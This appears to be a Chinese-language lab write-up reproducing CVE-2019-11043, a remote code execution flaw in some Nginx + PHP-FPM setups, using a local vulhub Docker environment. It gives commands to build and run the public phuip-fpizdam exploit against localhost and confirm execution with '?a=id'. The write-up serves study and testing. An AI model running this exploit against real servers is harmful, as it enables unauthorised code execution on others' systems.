漏洞描述
CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。
在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
漏洞复现
这里直接使用p牛的docker环境进行复现
PHP-FPM 远程代码执行漏洞(CVE-2019-11043)
安装docker
apt install docker docker-compose
启动docker
systemctl start docker
搭建环境
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043
docker-compose up -d
在启动环境前建议先设置镜像加速
在 /etc/docker/daemon.json 写入以下内容(如果不存在文件,请新建)
{"registry-mirrors":["https://registry.docker-cn.com"]}
以上是添加 docker 官方提供的中国镜像,也可以选择使用阿里云,中科大等镜像。添加镜像后需要重启docker
sudo systemctl daemon-reload
sudo systemctl restart docker
看到上面的界面代表环境启动成功,默认页面在http://127.0.0.1:8080/index.php
漏洞利用
安装golang,git代码并编译
apt install golang
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v
go build
运行
go run . "http://127.0.0.1:8080/index.php"
验证
因为php-fpm会启动多个子进程,在访问/index.php?a=id
时需要多访问几次,以访问到被污染的进程
复现完后建议删除或停止容器
docker ps //查看正在运行容器
docker stop containerId //containerId是容器的ID
docker ps -a //查看所有容器
docker ps -a -q //查看所有容器ID
docker stop $(docker ps -a -q) //停止所有容器
docker rm $(docker ps -a -q) //删除所有容器